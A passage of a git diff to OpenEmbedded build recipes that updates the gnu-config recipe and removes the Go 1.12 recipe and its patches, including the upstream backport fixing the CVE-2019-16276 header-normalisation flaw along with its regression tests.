+# ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/util/util.test' has relocations in .text
+# ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/action/action.test' has relocations in .text
+# ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/cache/cache.test' has relocations in .text [textrel]
+INSANE_SKIP:${PN}-ptest += "textrel"
+
+# fails to run task compile_ptest_base on mips
+PTEST_ENABLED:mipsarch = "0"
diff --git a/meta/recipes-devtools/gnu-config/gnu-config_git.bb b/meta/recipes-devtools/gnu-config/gnu-config_git.bb
index 1630c12823..6b025fce2c 100644
--- a/meta/recipes-devtools/gnu-config/gnu-config_git.bb
+++ b/meta/recipes-devtools/gnu-config/gnu-config_git.bb
@@ -1,17 +1,18 @@
SUMMARY = "gnu-configize"
DESCRIPTION = "Tool that installs the GNU config.guess / config.sub into a directory tree"
+HOMEPAGE = "https://git.savannah.gnu.org/cgit/config.git"
SECTION = "devel"
LICENSE = "GPL-3.0-with-autoconf-exception"
-LIC_FILES_CHKSUM = "file://config.guess;beginline=7;endline=27;md5=b75d42f59f706ea56d6a8e00216fca6a"
+LIC_FILES_CHKSUM = "file://config.guess;beginline=9;endline=29;md5=b75d42f59f706ea56d6a8e00216fca6a"
-DEPENDS_class-native = "hostperl-runtime-native"
+DEPENDS:class-native = "hostperl-runtime-native"
INHIBIT_DEFAULT_DEPS = "1"
-SRCREV = "b98424c249119b79d3f709e26eb86f2fd4d5e5f3"
-PV = "20190501+git${SRCPV}"
+SRCREV = "191bcb948f7191c36eefe634336f5fc5c0c4c2be"
+PV = "20211108+git${SRCPV}"
-SRC_URI = "git://git.savannah.gnu.org/config.git \
+SRC_URI = "git://git.savannah.gnu.org/config.git;branch=master \
file://gnu-configize.in"
S = "${WORKDIR}/git"
UPSTREAM_CHECK_COMMITS = "1"
@@ -35,6 +36,6 @@ do_install () {
}
PACKAGES = "${PN}"
-FILES_${PN} = "${bindir} ${datadir}/gnu-config"
+FILES:${PN} = "${bindir} ${datadir}/gnu-config"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/go/go-1.12.inc b/meta/recipes-devtools/go/go-1.12.inc
deleted file mode 100644
index ed14b175e6..0000000000
--- a/meta/recipes-devtools/go/go-1.12.inc
+++ /dev/null
@@ -1,24 +0,0 @@
-require go-common.inc
-
-GO_BASEVERSION = "1.12"
-GO_MINOR = ".9"
-PV .= "${GO_MINOR}"
-FILESEXTRAPATHS_prepend := "${FILE_DIRNAME}/go-${GO_BASEVERSION}:"
-
-LIC_FILES_CHKSUM = "file://LICENSE;md5=5d4950ecb7b26d2c5e4e7b4e0dd74707"
-
-SRC_URI += "\
- file://0001-allow-CC-and-CXX-to-have-multiple-words.patch \
- file://0002-cmd-go-make-content-based-hash-generation-less-pedan.patch \
- file://0003-allow-GOTOOLDIR-to-be-overridden-in-the-environment.patch \
- file://0004-ld-add-soname-to-shareable-objects.patch \
- file://0005-make.bash-override-CC-when-building-dist-and-go_boot.patch \
- file://0006-cmd-dist-separate-host-and-target-builds.patch \
- file://0007-cmd-go-make-GOROOT-precious-by-default.patch \
- file://0008-use-GOBUILDMODE-to-set-buildmode.patch \
- file://0001-release-branch.go1.12-security-net-textproto-don-t-n.patch \
-"
-SRC_URI_append_libc-musl = " file://0009-ld-replace-glibc-dynamic-linker-with-musl.patch"
-
-SRC_URI[main.md5sum] = "6132109d4050da349eadc9f7b0304ef4"
-SRC_URI[main.sha256sum] = "ab0e56ed9c4732a653ed22e232652709afbf573e710f56a07f7fdeca578d62fc"
diff --git a/meta/recipes-devtools/go/go-1.12/0001-allow-CC-and-CXX-to-have-multiple-words.patch b/meta/recipes-devtools/go/go-1.12/0001-allow-CC-and-CXX-to-have-multiple-words.patch
deleted file mode 100644
index 4442858c83..0000000000
--- a/meta/recipes-devtools/go/go-1.12/0001-allow-CC-and-CXX-to-have-multiple-words.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From 7cc519aa5f84cf8fc7ac8c10fc69aa8040330ea0 Mon Sep 17 00:00:00 2001
-From: Matt Madison <matt@madison.systems>
-Date: Mon, 19 Feb 2018 08:49:33 -0800
-Subject: [PATCH] allow CC and CXX to have multiple words
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Matt Madison <matt@madison.systems>
-
----
- src/cmd/go/internal/envcmd/env.go | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/src/cmd/go/internal/envcmd/env.go b/src/cmd/go/internal/envcmd/env.go
-index afadbad..cedbfbf 100644
---- a/src/cmd/go/internal/envcmd/env.go
-+++ b/src/cmd/go/internal/envcmd/env.go
-@@ -85,11 +85,11 @@ func MkEnv() []cfg.EnvVar {
-
- cc := cfg.DefaultCC(cfg.Goos, cfg.Goarch)
- if env := strings.Fields(os.Getenv("CC")); len(env) > 0 {
-- cc = env[0]
-+ cc = strings.Join(env, " ")
- }
- cxx := cfg.DefaultCXX(cfg.Goos, cfg.Goarch)
- if env := strings.Fields(os.Getenv("CXX")); len(env) > 0 {
-- cxx = env[0]
-+ cxx = strings.Join(env, " ")
- }
- env = append(env, cfg.EnvVar{Name: "CC", Value: cc})
- env = append(env, cfg.EnvVar{Name: "CXX", Value: cxx})
diff --git a/meta/recipes-devtools/go/go-1.12/0001-release-branch.go1.12-security-net-textproto-don-t-n.patch b/meta/recipes-devtools/go/go-1.12/0001-release-branch.go1.12-security-net-textproto-don-t-n.patch
deleted file mode 100644
index 7b39dbd734..0000000000
--- a/meta/recipes-devtools/go/go-1.12/0001-release-branch.go1.12-security-net-textproto-don-t-n.patch
+++ /dev/null
@@ -1,163 +0,0 @@
-From 265b691ac440bfb711d8de323346f7d72e620efe Mon Sep 17 00:00:00 2001
-From: Filippo Valsorda <filippo@golang.org>
-Date: Thu, 12 Sep 2019 12:37:36 -0400
-Subject: [PATCH] [release-branch.go1.12-security] net/textproto: don't
- normalize headers with spaces before the colon
-
-RFC 7230 is clear about headers with a space before the colon, like
-
-X-Answer : 42
-
-being invalid, but we've been accepting and normalizing them for compatibility
-purposes since CL 5690059 in 2012.
-
-On the client side, this is harmless and indeed most browsers behave the same
-to this day. On the server side, this becomes a security issue when the
-behavior doesn't match that of a reverse proxy sitting in front of the server.
-
-For example, if a WAF accepts them without normalizing them, it might be
-possible to bypass its filters, because the Go server would interpret the
-header differently. Worse, if the reverse proxy coalesces requests onto a
-single HTTP/1.1 connection to a Go server, the understanding of the request
-boundaries can get out of sync between them, allowing an attacker to tack an
-arbitrary method and path onto a request by other clients, including
-authentication headers unknown to the attacker.
-
-This was recently presented at multiple security conferences:
-https://portswigger.net/blog/http-desync-attacks-request-smuggling-reborn
-
-net/http servers already reject header keys with invalid characters.
-Simply stop normalizing extra spaces in net/textproto, let it return them
-unchanged like it does for other invalid headers, and let net/http enforce
-RFC 7230, which is HTTP specific. This loses us normalization on the client
-side, but there's no right answer on the client side anyway, and hiding the
-issue sounds worse than letting the application decide.
-
-Fixes CVE-2019-16276
-
-Change-Id: I6d272de827e0870da85d93df770d6a0e161bbcf1
-Reviewed-on: https://team-review.git.corp.google.com/c/golang/go-private/+/549719
-Reviewed-by: Brad Fitzpatrick <bradfitz@google.com>
-(cherry picked from commit 1280b868e82bf173ea3e988be3092d160ee66082)
-Reviewed-on: https://team-review.git.corp.google.com/c/golang/go-private/+/558776
-Reviewed-by: Dmitri Shuralyov <dmitshur@google.com>
-
-CVE: CVE-2019-16276
-
-Upstream-Status: Backport [https://github.com/golang/go/commit/6e6f4aaf70c8b1cc81e65a26332aa9409de03ad8]
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
----
- src/net/http/serve_test.go | 4 ++++
- src/net/http/transport_test.go | 27 +++++++++++++++++++++++++++
- src/net/textproto/reader.go | 10 ++--------
- src/net/textproto/reader_test.go | 13 ++++++-------
- 4 files changed, 39 insertions(+), 15 deletions(-)
-
-diff --git a/src/net/http/serve_test.go b/src/net/http/serve_test.go
-index 6eb0088a96..89bfdfbb82 100644
---- a/src/net/http/serve_test.go
-+++ b/src/net/http/serve_test.go
-@@ -4748,6 +4748,10 @@ func TestServerValidatesHeaders(t *testing.T) {
- {"foo\xffbar: foo\r\n", 400}, // binary in header
- {"foo\x00bar: foo\r\n", 400}, // binary in header
- {"Foo: " + strings.Repeat("x", 1<<21) + "\r\n", 431}, // header too large
-+ // Spaces between the header key and colon are not allowed.
-+ // See RFC 7230, Section 3.2.4.
-+ {"Foo : bar\r\n", 400},
-+ {"Foo\t: bar\r\n", 400},
-
- {"foo: foo foo\r\n", 200}, // LWS space is okay
- {"foo: foo\tfoo\r\n", 200}, // LWS tab is okay
-diff --git a/src/net/http/transport_test.go b/src/net/http/transport_test.go
-index 5c329543e2..5e5438a708 100644
---- a/src/net/http/transport_test.go
-+++ b/src/net/http/transport_test.go
-@@ -5133,3 +5133,30 @@ func TestTransportIgnores408(t *testing.T) {
- }
- t.Fatalf("timeout after %v waiting for Transport connections to die off", time.Since(t0))
- }
-+
-+func TestInvalidHeaderResponse(t *testing.T) {
-+ setParallel(t)
-+ defer afterTest(t)
-+ cst := newClientServerTest(t, h1Mode, HandlerFunc(func(w ResponseWriter, r *Request) {
-+ conn, buf, _ := w.(Hijacker).Hijack()
-+ buf.Write([]byte("HTTP/1.1 200 OK\r\n" +
-+ "Date: Wed, 30 Aug 2017 19:09:27 GMT\r\n" +
-+ "Content-Type: text/html; charset=utf-8\r\n" +
-+ "Content-Length: 0\r\n" +
-+ "Foo : bar\r\n\r\n"))
-+ buf.Flush()
-+ conn.Close()
-+ }))
-+ defer cst.close()
-+ res, err := cst.c.Get(cst.ts.URL)
-+ if err != nil {
-+ t.Fatal(err)
-+ }
-+ defer res.Body.Close()
-+ if v := res.Header.Get("Foo"); v != "" {
-+ t.Errorf(`unexpected "Foo" header: %q`, v)
-+ }
-+ if v := res.Header.Get("Foo "); v != "bar" {
-+ t.Errorf(`bad "Foo " header value: %q, want %q`, v, "bar")
-+ }
-+}
-diff --git a/src/net/textproto/reader.go b/src/net/textproto/reader.go
-index 2c4f25d5ae..1a5e364cf7 100644
---- a/src/net/textproto/reader.go
-+++ b/src/net/textproto/reader.go
-@@ -493,18 +493,12 @@ func (r *Reader) ReadMIMEHeader() (MIMEHeader, error) {
- return m, err
- }
-
-- // Key ends at first colon; should not have trailing spaces
-- // but they appear in the wild, violating specs, so we remove
-- // them if present.
-+ // Key ends at first colon.
- i := bytes.IndexByte(kv, ':')
- if i < 0 {
- return m, ProtocolError("malformed MIME header line: " + string(kv))
- }
-- endKey := i
-- for endKey > 0 && kv[endKey-1] == ' ' {
-- endKey--
-- }
-- key := canonicalMIMEHeaderKey(kv[:endKey])
-+ key := canonicalMIMEHeaderKey(kv[:i])
-
- // As per RFC 7230 field-name is a token, tokens consist of one or more chars.
- // We could return a ProtocolError here, but better to be liberal in what we
-diff --git a/src/net/textproto/reader_test.go b/src/net/textproto/reader_test.go
-index f85fbdc36d..b92fdcd3c7 100644
---- a/src/net/textproto/reader_test.go
-+++ b/src/net/textproto/reader_test.go
-@@ -188,11 +188,10 @@ func TestLargeReadMIMEHeader(t *testing.T) {
- }
- }
-
--// Test that we read slightly-bogus MIME headers seen in the wild,
--// with spaces before colons, and spaces in keys.
-+// TestReadMIMEHeaderNonCompliant checks that we don't normalize headers
-+// with spaces before colons, and accept spaces in keys.
- func TestReadMIMEHeaderNonCompliant(t *testing.T) {
-- // Invalid HTTP response header as sent by an Axis security
-- // camera: (this is handled by IE, Firefox, Chrome, curl, etc.)
-+ // These invalid headers will be rejected by net/http according to RFC 7230.
- r := reader("Foo: bar\r\n" +
- "Content-Language: en\r\n" +
- "SID : 0\r\n" +
-@@ -202,9 +201,9 @@ func TestReadMIMEHeaderNonCompliant(t *testing.T) {
- want := MIMEHeader{
- "Foo": {"bar"},
- "Content-Language": {"en"},
-- "Sid": {"0"},
-- "Audio Mode": {"None"},
-- "Privilege": {"127"},
-+ "SID ": {"0"},
-+ "Audio Mode ": {"None"},
-+ "Privilege ": {"127"},
- }
- if !reflect.DeepEqual(m, want) || err != nil {
- t.Fatalf("ReadMIMEHeader =\n%v, %v; want:\n%v", m, err, want)
diff --git a/meta/recipes-devtools/go/go-1.12/0002-cmd-go-make-content-based-hash-generation-less-pedan.patch b/meta/recipes-devtools/go/go-1.12/0002-cmd-go-make-content-based-hash-generation-less-pedan.patch
deleted file mode 100644
index 66b8561874..0000000000
--- a/meta/recipes-devtools/go/go-1.12/0002-cmd-go-make-content-based-hash-generation-less-pedan.patch
+++ /dev/null
@@ -1,218 +0,0 @@
-From 47db69e20ed66fb62b01affd83d829654b829893 Mon Sep 17 00:00:00 2001
-From: Matt Madison <matt@madison.systems>
-Date: Mon, 19 Feb 2018 08:50:59 -0800
-Subject: [PATCH] cmd/go: make content-based hash generation less pedantic
-
-Go 1.10's build tool now uses content-based hashes to
-determine when something should be built or re-built.
-This same mechanism is used to maintain a built-artifact
-cache for speeding up builds.
-
-However, the hashes it generates include information that
-doesn't work well with OE, nor with using a shared runtime
-library.
-
-First, it embeds path names to source files, unless
-building within GOROOT. This prevents the building
-of a package in GOPATH for later staging into GOROOT.
-
-This patch adds support for the environment variable
-GOPATH_OMIT_IN_ACTIONID. If present, path name
-embedding is disabled.
-
-Second, if cgo is enabled, the build ID for cgo-related
-packages will include the current value of the environment
-variables for invoking the compiler (CC, CXX, FC) and
-any CGO_xxFLAGS variables. Only if the settings used
-during a compilation exactly match, character for character,
-the values used for compiling runtime/cgo or any other
-cgo-enabled package being imported, will the tool
-decide that the imported package is up-to-date.
-
-This is done to help ensure correctness, but is overly
-simplistic and effectively prevents the reuse of built
-artifacts that use cgo (or shared runtime, which includes
-runtime/cgo).
-
-This patch filters out all compiler flags except those
-beginning with '-m'. The default behavior can be restored
-by setting the CGO_PEDANTIC environment variable.
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Matt Madison <matt@madison.systems>
-
----
- src/cmd/go/internal/envcmd/env.go | 2 +-
- src/cmd/go/internal/work/exec.go | 63 ++++++++++++++++++++++---------
- 2 files changed, 46 insertions(+), 19 deletions(-)
-
-diff --git a/src/cmd/go/internal/envcmd/env.go b/src/cmd/go/internal/envcmd/env.go
-index cedbfbf..5763a0d 100644
---- a/src/cmd/go/internal/envcmd/env.go
-+++ b/src/cmd/go/internal/envcmd/env.go
-@@ -128,7 +128,7 @@ func ExtraEnvVars() []cfg.EnvVar {
- func ExtraEnvVarsCostly() []cfg.EnvVar {
- var b work.Builder
- b.Init()
-- cppflags, cflags, cxxflags, fflags, ldflags, err := b.CFlags(&load.Package{})
-+ cppflags, cflags, cxxflags, fflags, ldflags, err := b.CFlags(&load.Package{}, false)
- if err != nil {
- // Should not happen - b.CFlags was given an empty package.
- fmt.Fprintf(os.Stderr, "go: invalid cflags: %v\n", err)
-diff --git a/src/cmd/go/internal/work/exec.go b/src/cmd/go/internal/work/exec.go
-index 12e1527..e41bfac 100644
---- a/src/cmd/go/internal/work/exec.go
-+++ b/src/cmd/go/internal/work/exec.go
-@@ -174,6 +174,8 @@ func (b *Builder) Do(root *Action) {
- wg.Wait()
- }
-
-+var omitGopath = os.Getenv("GOPATH_OMIT_IN_ACTIONID") != ""
-+
- // buildActionID computes the action ID for a build action.
- func (b *Builder) buildActionID(a *Action) cache.ActionID {
- p := a.Package
-@@ -190,7 +192,7 @@ func (b *Builder) buildActionID(a *Action) cache.ActionID {
- // but it does not hide the exact value of $GOPATH.
- // Include the full dir in that case.
- // Assume b.WorkDir is being trimmed properly.
-- if !p.Goroot && !strings.HasPrefix(p.Dir, b.WorkDir) {
-+ if !p.Goroot && !omitGopath && !strings.HasPrefix(p.Dir, b.WorkDir) {
- fmt.Fprintf(h, "dir %s\n", p.Dir)
- }
- fmt.Fprintf(h, "goos %s goarch %s\n", cfg.Goos, cfg.Goarch)
-@@ -201,13 +203,13 @@ func (b *Builder) buildActionID(a *Action) cache.ActionID {
- }
- if len(p.CgoFiles)+len(p.SwigFiles) > 0 {
- fmt.Fprintf(h, "cgo %q\n", b.toolID("cgo"))
-- cppflags, cflags, cxxflags, fflags, ldflags, _ := b.CFlags(p)
-- fmt.Fprintf(h, "CC=%q %q %q %q\n", b.ccExe(), cppflags, cflags, ldflags)
-+ cppflags, cflags, cxxflags, fflags, ldflags, _ := b.CFlags(p, true)
-+ fmt.Fprintf(h, "CC=%q %q %q %q\n", b.ccExe(true), cppflags, cflags, ldflags)
- if len(p.CXXFiles)+len(p.SwigFiles) > 0 {
-- fmt.Fprintf(h, "CXX=%q %q\n", b.cxxExe(), cxxflags)
-+ fmt.Fprintf(h, "CXX=%q %q\n", b.cxxExe(true), cxxflags)
- }
- if len(p.FFiles) > 0 {
-- fmt.Fprintf(h, "FC=%q %q\n", b.fcExe(), fflags)
-+ fmt.Fprintf(h, "FC=%q %q\n", b.fcExe(true), fflags)
- }
- // TODO(rsc): Should we include the SWIG version or Fortran/GCC/G++/Objective-C compiler versions?
- }
-@@ -2096,33 +2098,33 @@ var (
- // gccCmd returns a gcc command line prefix
- // defaultCC is defined in zdefaultcc.go, written by cmd/dist.
- func (b *Builder) GccCmd(incdir, workdir string) []string {
-- return b.compilerCmd(b.ccExe(), incdir, workdir)
-+ return b.compilerCmd(b.ccExe(false), incdir, workdir)
- }
-
- // gxxCmd returns a g++ command line prefix
- // defaultCXX is defined in zdefaultcc.go, written by cmd/dist.
- func (b *Builder) GxxCmd(incdir, workdir string) []string {
-- return b.compilerCmd(b.cxxExe(), incdir, workdir)
-+ return b.compilerCmd(b.cxxExe(false), incdir, workdir)
- }
-
- // gfortranCmd returns a gfortran command line prefix.
- func (b *Builder) gfortranCmd(incdir, workdir string) []string {
-- return b.compilerCmd(b.fcExe(), incdir, workdir)
-+ return b.compilerCmd(b.fcExe(false), incdir, workdir)
- }
-
- // ccExe returns the CC compiler setting without all the extra flags we add implicitly.
--func (b *Builder) ccExe() []string {
-- return b.compilerExe(origCC, cfg.DefaultCC(cfg.Goos, cfg.Goarch))
-+func (b *Builder) ccExe(filtered bool) []string {
-+ return b.compilerExe(origCC, cfg.DefaultCC(cfg.Goos, cfg.Goarch), filtered)
- }
-
- // cxxExe returns the CXX compiler setting without all the extra flags we add implicitly.
--func (b *Builder) cxxExe() []string {
-- return b.compilerExe(origCXX, cfg.DefaultCXX(cfg.Goos, cfg.Goarch))
-+func (b *Builder) cxxExe(filtered bool) []string {
-+ return b.compilerExe(origCXX, cfg.DefaultCXX(cfg.Goos, cfg.Goarch), filtered)
- }
-
- // fcExe returns the FC compiler setting without all the extra flags we add implicitly.
--func (b *Builder) fcExe() []string {
-- return b.compilerExe(os.Getenv("FC"), "gfortran")
-+func (b *Builder) fcExe(filtered bool) []string {
-+ return b.compilerExe(os.Getenv("FC"), "gfortran", filtered)
- }
-
- // compilerExe returns the compiler to use given an
-@@ -2131,11 +2133,14 @@ func (b *Builder) fcExe() []string {
- // of the compiler but can have additional arguments if they
- // were present in the environment value.
- // For example if CC="gcc -DGOPHER" then the result is ["gcc", "-DGOPHER"].
--func (b *Builder) compilerExe(envValue string, def string) []string {
-+func (b *Builder) compilerExe(envValue string, def string, filtered bool) []string {
- compiler := strings.Fields(envValue)
- if len(compiler) == 0 {
- compiler = []string{def}
- }
-+ if filtered {
-+ return append(compiler[0:1], filterCompilerFlags(compiler[1:])...)
-+ }
- return compiler
- }
-
-@@ -2285,8 +2290,23 @@ func envList(key, def string) []string {
- return strings.Fields(v)
- }
-
-+var filterFlags = os.Getenv("CGO_PEDANTIC") == ""
-+
-+func filterCompilerFlags(flags []string) []string {
-+ var newflags []string
-+ if !filterFlags {
-+ return flags
-+ }
-+ for _, flag := range flags {
-+ if strings.HasPrefix(flag, "-m") {
-+ newflags = append(newflags, flag)
-+ }
-+ }
-+ return newflags
-+}
-+
- // CFlags returns the flags to use when invoking the C, C++ or Fortran compilers, or cgo.
--func (b *Builder) CFlags(p *load.Package) (cppflags, cflags, cxxflags, fflags, ldflags []string, err error) {
-+func (b *Builder) CFlags(p *load.Package, filtered bool) (cppflags, cflags, cxxflags, fflags, ldflags []string, err error) {
- defaults := "-g -O2"
-
- if cppflags, err = buildFlags("CPPFLAGS", "", p.CgoCPPFLAGS, checkCompilerFlags); err != nil {
-@@ -2304,6 +2324,13 @@ func (b *Builder) CFlags(p *load.Package) (cppflags, cflags, cxxflags, fflags, l
- if ldflags, err = buildFlags("LDFLAGS", defaults, p.CgoLDFLAGS, checkLinkerFlags); err != nil {
- return
- }
-+ if filtered {
-+ cppflags = filterCompilerFlags(cppflags)
-+ cflags = filterCompilerFlags(cflags)
-+ cxxflags = filterCompilerFlags(cxxflags)
-+ fflags = filterCompilerFlags(fflags)
-+ ldflags = filterCompilerFlags(ldflags)
-+ }
-
- return
- }
-@@ -2319,7 +2346,7 @@ var cgoRe = regexp.MustCompile(`[/\\:]`)
-
- func (b *Builder) cgo(a *Action, cgoExe, objdir string, pcCFLAGS, pcLDFLAGS, cgofiles, gccfiles, gxxfiles, mfiles, ffiles []string) (outGo, outObj []string, err error) {
- p := a.Package
-- cgoCPPFLAGS, cgoCFLAGS, cgoCXXFLAGS, cgoFFLAGS, cgoLDFLAGS, err := b.CFlags(p)
-+ cgoCPPFLAGS, cgoCFLAGS, cgoCXXFLAGS, cgoFFLAGS, cgoLDFLAGS, err := b.CFlags(p, false)
- if err != nil {
- return nil, nil, err
- }
-@@ -2679,7 +2706,7 @@ func (b *Builder) swigIntSize(objdir string) (intsize string, err error) {
-
- // Run SWIG on one SWIG input file.
- func (b *Builder) swigOne(a *Action, p *load.Package, file, objdir string, pcCFLAGS []string, cxx bool, intgosize string) (outGo, outC string, err error) {
-- cgoCPPFLAGS, cgoCFLAGS, cgoCXXFLAGS, _, _, err := b.CFlags(p)
-+ cgoCPPFLAGS, cgoCFLAGS, cgoCXXFLAGS, _, _, err := b.CFlags(p, false)
- if err != nil {
- return "", "", err
- }
diff --git a/meta/recipes-devtools/go/go-1.12/0003-allow-GOTOOLDIR-to-be-overridden-in-the-environment.patch b/meta/recipes-devtools/go/go-1.12/0003-allow-GOTOOLDIR-to-be-overridden-in-the-environment.patch
deleted file mode 100644
index b6ca40edee..0000000000
--- a/meta/recipes-devtools/go/go-1.12/0003-allow-GOTOOLDIR-to-be-overridden-in-the-environment.patch
+++ /dev/null
@@ -1,48 +0,0 @@
-From 5c32c38bf19b24f0aadd78012d17ff5caa82151e Mon Sep 17 00:00:00 2001
-From: Matt Madison <matt@madison.systems>
-Date: Sat, 17 Feb 2018 05:24:20 -0800
-Subject: [PATCH] allow GOTOOLDIR to be overridden in the environment
-
-to allow for split host/target build roots
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Matt Madison <matt@madison.systems>
-
----
- src/cmd/dist/build.go | 4 +++-
- src/cmd/go/internal/cfg/cfg.go | 7 +++++--
- 2 files changed, 8 insertions(+), 3 deletions(-)
-
-Index: go/src/cmd/dist/build.go
-===================================================================
---- go.orig/src/cmd/dist/build.go
-+++ go/src/cmd/dist/build.go
-@@ -228,7 +228,9 @@ func xinit() {
- workdir = xworkdir()
- xatexit(rmworkdir)
-
-- tooldir = pathf("%s/pkg/tool/%s_%s", goroot, gohostos, gohostarch)
-+ if tooldir = os.Getenv("GOTOOLDIR"); tooldir == "" {
-+ tooldir = pathf("%s/pkg/tool/%s_%s", goroot, gohostos, gohostarch)
-+ }
- }
-
- // compilerEnv returns a map from "goos/goarch" to the
-Index: go/src/cmd/go/internal/cfg/cfg.go
-===================================================================
---- go.orig/src/cmd/go/internal/cfg/cfg.go
-+++ go/src/cmd/go/internal/cfg/cfg.go
-@@ -116,7 +116,11 @@ func init() {
- // variables. This matches the initialization of ToolDir in
- // go/build, except for using GOROOT rather than
- // runtime.GOROOT.
-- build.ToolDir = filepath.Join(GOROOT, "pkg/tool/"+runtime.GOOS+"_"+runtime.GOARCH)
-+ if s := os.Getenv("GOTOOLDIR"); s != "" {
-+ build.ToolDir = filepath.Clean(s)
-+ } else {
-+ build.ToolDir = filepath.Join(GOROOT, "pkg/tool/"+runtime.GOOS+"_"+runtime.GOARCH)
-+ }
- }
- }
-
diff --git a/meta/recipes-devtools/go/go-1.12/0004-ld-add-soname-to-shareable-objects.patch b/meta/recipes-devtools/go/go-1.12/0004-ld-add-soname-to-shareable-objects.patch
deleted file mode 100644
index 004a33a023..0000000000
--- a/meta/recipes-devtools/go/go-1.12/0004-ld-add-soname-to-shareable-objects.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-From 55eb8c95a89f32aec16b7764e78e8cf75169dc81 Mon Sep 17 00:00:00 2001
-From: Matt Madison <matt@madison.systems>
-Date: Sat, 17 Feb 2018 06:26:10 -0800
-Subject: [PATCH] ld: add soname to shareable objects
-
-so that OE's shared library dependency handling
-can find them.
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Matt Madison <matt@madison.systems>
-
----
- src/cmd/link/internal/ld/lib.go | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/src/cmd/link/internal/ld/lib.go b/src/cmd/link/internal/ld/lib.go
-index 220aab3..703925f 100644
---- a/src/cmd/link/internal/ld/lib.go
-+++ b/src/cmd/link/internal/ld/lib.go
-@@ -1135,6 +1135,7 @@ func (ctxt *Link) hostlink() {
- argv = append(argv, "-Wl,-z,relro")
- }
- argv = append(argv, "-shared")
-+ argv = append(argv, fmt.Sprintf("-Wl,-soname,%s", filepath.Base(*flagOutfile)))
- if ctxt.HeadType != objabi.Hwindows {
- // Pass -z nodelete to mark the shared library as
- // non-closeable: a dlclose will do nothing.
-@@ -1146,6 +1147,8 @@ func (ctxt *Link) hostlink() {
- argv = append(argv, "-Wl,-z,relro")
- }
- argv = append(argv, "-shared")
-+ argv = append(argv, fmt.Sprintf("-Wl,-soname,%s", filepath.Base(*flagOutfile)))
-+
- case BuildModePlugin:
- if ctxt.HeadType == objabi.Hdarwin {
- argv = append(argv, "-dynamiclib")
-@@ -1154,6 +1157,7 @@ func (ctxt *Link) hostlink() {
- argv = append(argv, "-Wl,-z,relro")
- }
- argv = append(argv, "-shared")
-+ argv = append(argv, fmt.Sprintf("-Wl,-soname,%s", filepath.Base(*flagOutfile)))
- }
- }
-
diff --git a/meta/recipes-devtools/go/go-1.12/0005-make.bash-override-CC-when-building-dist-and-go_boot.patch b/meta/recipes-devtools/go/go-1.12/0005-make.bash-override-CC-when-building-dist-and-go_boot.patch
deleted file mode 100644
index ace8de9eae..0000000000
--- a/meta/recipes-devtools/go/go-1.12/0005-make.bash-override-CC-when-building-dist-and-go_boot.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From 1bf15aa8fb773604b2524cfdab493fa4d8fa9285 Mon Sep 17 00:00:00 2001
-From: Matt Madison <matt@madison.systems>
-Date: Sat, 17 Feb 2018 06:32:45 -0800
-Subject: [PATCH] make.bash: override CC when building dist and go_bootstrap
-
-for handling OE cross-canadian builds.
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Matt Madison <matt@madison.systems>
-
----
- src/make.bash | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/src/make.bash b/src/make.bash
-index 78882d9..25943d0 100755
---- a/src/make.bash
-+++ b/src/make.bash
-@@ -163,7 +163,7 @@ if [ "$GOROOT_BOOTSTRAP" = "$GOROOT" ]; then
- exit 1
- fi
- rm -f cmd/dist/dist
--GOROOT="$GOROOT_BOOTSTRAP" GOOS="" GOARCH="" "$GOROOT_BOOTSTRAP/bin/go" build -o cmd/dist/dist ./cmd/dist
-+CC="${BUILD_CC:-${CC}}" GOROOT="$GOROOT_BOOTSTRAP" GOOS="" GOARCH="" "$GOROOT_BOOTSTRAP/bin/go" build -o cmd/dist/dist ./cmd/dist
-
- # -e doesn't propagate out of eval, so check success by hand.
- eval $(./cmd/dist/dist env -p || echo FAIL=true)
-@@ -194,7 +194,7 @@ fi
- # Run dist bootstrap to complete make.bash.
- # Bootstrap installs a proper cmd/dist, built with the new toolchain.
- # Throw ours, built with Go 1.4, away after bootstrap.
--./cmd/dist/dist bootstrap $buildall $vflag $GO_DISTFLAGS "$@"
-+CC="${BUILD_CC:-${CC}}" ./cmd/dist/dist bootstrap $buildall $vflag $GO_DISTFLAGS "$@"
- rm -f ./cmd/dist/dist
-
- # DO NOT ADD ANY NEW CODE HERE.
diff --git a/meta/recipes-devtools/go/go-1.12/0007-cmd-go-make-GOROOT-precious-by-default.patch b/meta/recipes-devtools/go/go-1.12/0007-cmd-go-make-GOROOT-precious-by-default.patch
deleted file mode 100644
index 29ef947abd..0000000000
--- a/meta/recipes-devtools/go/go-1.12/0007-cmd-go-make-GOROOT-precious-by-default.patch
+++ /dev/null
@@ -1,106 +0,0 @@
-From 7cc60b3887be2d5674b9f5d422d022976cf205e5 Mon Sep 17 00:00:00 2001
-From: Matt Madison <matt@madison.systems>
-Date: Fri, 2 Mar 2018 06:00:20 -0800
-Subject: [PATCH] cmd/go: make GOROOT precious by default
-
-The go build tool normally rebuilds whatever it detects is
-stale. This can be a problem when GOROOT is intended to
-be read-only and the go runtime has been built as a shared
-library, since we don't want every application to be rebuilding
-the shared runtime - particularly in cross-build/packaging
-setups, since that would lead to 'abi mismatch' runtime errors.
-
-This patch prevents the install and linkshared actions from
-installing to GOROOT unless overridden with the GOROOT_OVERRIDE
-environment variable.
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Matt Madison <matt@madison.systems>
-
----
